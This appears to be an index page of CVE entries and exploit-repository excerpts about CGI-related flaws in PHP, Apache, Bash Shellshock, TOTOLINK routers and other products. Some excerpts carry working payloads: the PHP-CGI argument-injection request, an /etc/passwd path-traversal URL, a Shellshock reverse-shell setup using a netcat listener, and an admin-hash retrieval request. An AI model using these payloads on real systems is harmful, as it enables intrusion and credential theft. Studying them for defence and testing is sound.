CVE-2024-4577

CVE-2024-4577: ثغرة أمنية حرجة في تكوينات CGI الخاصة بـ PHP توجد ثغرة أمنية خطيرة في وضع CGI الخاص بـ PHP تسمح للمهاجمين بتشغيل أوامر عشوائية عن طريق التلاعب بمعاملات URL. الإصدارات المتأثرة إصدارات PHP قبل 7.4.29 و 8.0.19 على ويندوز والتي تعمل بـ php-cgi. منهجية الهجوم يمكن للمهاجمين استغلال هذه...

CVE-2026-105484

A security vulnerability has been detected in TOTOLINK X6000R 9.4.0cu.652B20230116. The impacted element is the function firmwarecheck of the file /cgi-bin/cstecgi.cgi of the component UploadFirmwareFile Handler. Such manipulation of the argument filename leads to os command injection. The attack...

EUVD-2026-92908

A security vulnerability has been detected in TOTOLINK X6000R 9.4.0cu.652B20230116. The impacted element is the function firmwarecheck of the file /cgi-bin/cstecgi.cgi of the component UploadFirmwareFile Handler. Such manipulation of the argument filename leads to os command injection. The attack...

PT-2026-106300

Name of the Vulnerable Software and Affected Versions TOTOLINK X6000R version 9.4.0cu.652 B20230116 Description An OS command injection flaw exists in the UploadFirmwareFile Handler component. A remote, unauthenticated attacker can exploit this by manipulating the file name parameter within the...

shellshock-shell

shellshock-shell A simple python shell-like exploit for the Shellschok CVE-2014-6271 bug. Use it to exploit known vulnerable URLs. This tool may be used only on your own authorized URLs. The author of this tool takes no responsibility for its usage. File name: shellshock.py Author: Sagi Levy -...

CVE-2019-19945_Test

CVE-2019-19945Test This is the code for the first Proposed CVE 1. Install Docker 2. Build & RUN Server cd Server docker build -t server/cve . docker run -d --name server -p 80:80 server/cve 3. Get Server Container IP Linux sudo docker container inspect server | grep -i IPAddress Windows Powershel...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE Project Introduction and Principle The world's first CVE-2024-4577 PHP-CGI RCE vulnerability EXP utilizing the PHP default environment XAMPP. The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment. Sharing original exploit, supports SSRF,...

CVE-2021-41773-Apache-2.4.49-

CVE-2021-41773-Apache-2.4.49- اختبار الاختراق 1.1. Path Traversal قراءة ملف /etc/passwd !/bin/bash Script: exploitpathtraversal.sh Mục tiêu: Đọc tệp /etc/passwd từ Apache 2.4.49 TARGETIP="128.0.0.100" URL="http://$TARGETIP/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" echo "+ Khai thác Path...

Apache-CVE-2021-41773

CVE-2021-41773 Apache HTTP Server Path Traversal المساهمون 이희수@lheeeesoo يوجد ثغرة في Apache HTTP Server 2.4.49، حيث يفشل في حظر المسار الأصلي المشفر بشكل صحيح أثناء عملية تطبيع مسار URL. يمكن للمهاجم استخدام قيمة مثل .%2e للانتقال خارج الدليل الذي تم تكوين الخادم لمشاركته. في البيئات التي يُسمح...

CVE-2025-64446-FortiWeb-CGI-Bypass-PoC

Outil d'exploitation CVE-2025-64446 Outil d'exploitation pour la vérification et l'exploitation de la vulnérabilité CVE-2025-64446 dans les appareils FortiWeb. Description Cet outil teste et exploite une vulnérabilité de traversée de chemin CVE-2025-64446 dans les pare-feu d'applications web...

cve-2024-4577-lab

مخطط البيئة حاوية نظام التشغيل: ubuntu:22.04 تعمل تحت Windows WSL2. طبقة خادم الويب: Apache2 مع فرض modactions وmodcgi وmodcgid عموميًا في ملف apache2.conf الرئيسي. مفسّر اللغة: PHP 8.1.2 يعمل حصريًا في وضع CGI/FastCGI Server API. بنية الملفات: دليل app/ وظيفي يستضيف كود التنفيذ index.php وأصل...

cve-2021-41773-and-cve-2021-42013

cve-2021-41773 and cve-2021-42013 cve-2021-41773 and cve-2021-42013 batch verification Python script Runtime environment: python3 Usage: python3 poc.py url.txt url.txt contains the URLs to be tested, and URLs with vulnerabilities will be written to success.txt The verification content is very...

CVE-2021-41773

CVE-2021-41773 Bac à sable Ceci est une petite recette Docker pour configurer un conteneur basé sur Debian bookworm avec une instance d'Apache HTTPd 2.4.49 qui est vulnérable à CVE-2021-41773. CGI a été explicitement activé afin qu'il puisse être utilisé pour tester/vérifier le comportement de...

CVE-2022-21587-Oracle-EBS-

المتطلب الأساسي لتشغيل هذا الاستغلال: python3 يتضمن الوحدات requests, os, sys, slipit uuencode قبل التشغيل، تأكد من استخدامه فقط للأغراض الأخلاقية إذا فشل الاستغلال في التشغيل: تأكد من تثبيت الوحدات المطلوبة مسبقاً تثبيت requests pip3 install requests تثبيت slipit, git clone...

CVE-2014-6271

CVE-2014-6271 python2.7 ابدأ الاستماع على جهازك. nc -l -p 4444 شغّل سكربت بايثون وفق القاعدة أدناه: python shellpoc.py python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 استمتع...

CVE-2024-4577-nuclei

CVE-2024-4577-nuclei Payload: ?%ADd+allowurlinclude%3d1+%ADd+autoprependfile%3dphp://input Test URL: /unfxu9a.phppayload /php-cgi/unfxu9a.phppayload /cgi-bin/php-cgi.exepayload /php-cgi/php-cgi.exepayload /php-cgi/php.exepayload /cgi-bin/php.exepayload Ref:...

CVE-2024-4577

CVE-2024-4577, Argument Injection in PHP-CGI ./CVE-2024-4577.sh /path/to/domains-list POC : POST /test.hello?%ADd+allowurlinclude%3d1+%ADd+autoprependfile%3dphp://input HTTP/1.1 Host: host User-Agent: curl/8.3.0 Accept: / Content-Length: 23 Content-Type: application/x-www-form-urlencoded...

CVE-2024-4577

CVE-2024-4577 Overview CVE-2024-4577 is a security vulnerability that affects PHP servers in the following versions: PHP 8.3.x 8.3.8 and earlier PHP 8.2.x 8.2.20 and earlier PHP 8.1.x 8.1.29 and earlier All versions prior to 8.0 Unsupported versions 7.x and 5.x This vulnerability is a remote code...

CVE-2017-14262

SamsungNVRvul CVE-2017-14262 xfuturesec Co., Ltd أولاً، احصل على تجزئة MD5 لكلمة مرور حساب 'admin'. أرسل: GET http://192.168.1.14/cgi-bin/main-cgi?json="cmd":201,"szUserNameQry":"admin","szUserName":"","u32UserLoginHandle":0 HTTP/1.1 Host: 192.168.1.14 User-Agent: Mozilla/5.0 Windows NT 6.3; WOW6...

CVE-2021-41773

CVE-2021-41773 Reproduction https://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited v2.4.49 Apache unique vulnerability, earlier versions do not have the apnormalizepath function. This function was introduced in v2.4.49, and it is exactly this function...